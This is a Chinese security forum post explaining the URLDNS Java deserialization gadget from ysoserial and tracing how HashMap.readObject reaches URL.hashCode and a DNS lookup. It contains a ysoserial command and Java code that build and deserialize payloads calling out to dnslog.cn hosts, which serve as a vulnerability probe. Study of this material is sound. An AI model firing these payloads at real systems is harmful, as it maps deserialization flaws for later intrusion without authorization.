安全矩阵

 找回密码
 立即注册
搜索
查看: 2571|回复: 0

Java反序列化利用链-URLDNS学习

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-2 16:33:25 | 显示全部楼层 |阅读模式
原文链接:Java反序列化利用链-URLDNS学习

1.Java 反序列化
关于java的反序列化只是大概知道是因为readObject方法,导致的但是怎么个过程导致的rce,还是很迷糊的。
但是直接从CC链来学习的话,对新手实在不太友好。所以,今天从ysoserial.jar中最简单的URLDNSgadget来学习一下反序列化的流程。
2.URLDNS
ysoserial urldns gadget的作用是类似于dnslog,利用的jdk中的URL class 无需第三方依赖。

生成poc
java -jar ysoserial.jar URLDNS http://psdjax.dnslog.cn > a.bin
Java模拟反序列化
  1. package com.company;

  2. import java.io.FileInputStream;
  3. import java.io.ObjectInputStream;
  4. import java.net.URL;

  5. public class Main {
  6.     public static void main(String[] args) throws Exception {
  7.         ObjectInputStream ois = new ObjectInputStream(new FileInputStream("a.bin"));
  8.         URL url = (URL) ois.readObject();
  9.     }
  10. }
复制代码

执行以后成功收到dnslog

在ysoserial中查看gadget的实现src/main/java/ysoserial/payloads/URLDNS.java
其中核心大概就是这么几句代码

其中最主要的逻辑 new 了一个 HashMap,然后put进去一个 URL class,然后return。
反序列化的触发点,一定是readObject,所以我们直接来看HashMap class的readObject方法
前面都不需要怎么看,其中最重要的就是hash方法

跟进到hash方法

在hashmap class的hash方法里面,是通过调用key的hashCode方法来获得的hash。
而这里的key的值是,前面put进去的一个URL对象
  1. URL u = new URL(null, url, handler); // URL to use as the Key
  2. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
复制代码

查看URL hash方法
继续跟进,然后最关键的代码就来了。
首先获取了协议,然后使用了getHostAddress来获取url ip地址。到这一步就执行了我们的dnslog请求。

这个gadget的实现其实很简单,方法调用也不深,我们用几行代码。自己来实现一个
  1. package com.company;

  2. import java.io.*;
  3. import java.net.URL;
  4. import java.util.HashMap;

  5. public class Main {
  6.     public static void main(String[] args) throws Exception {
  7.         HashMap ht = new HashMap();
  8.         URL u = new URL("http://ls8ztu.dnslog.cn"); // URL to use as the Key
  9.         ht.put(u, "1");

  10.         ObjectOutputStream f = new ObjectOutputStream(new FileOutputStream("dns.bin"));
  11.         f.writeObject(ht);
  12.         ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.bin"));
  13.     }
  14. }
复制代码

执行以后,会收到2个dns请求
为什么会是两个呢,这是因为
我们在put的时候就会执行一次hash,反序列化的时候又执行了一次就是两次了,这样在实际使用的时候容易,造成误判。

那么ysoserial是怎么解决这个问题的呢,ysoserial自己实现了一个Handler,然后将getHostAddress方法重写为直接返回null。就不会触发请求了。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-8 13:00 , Processed in 0.029537 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表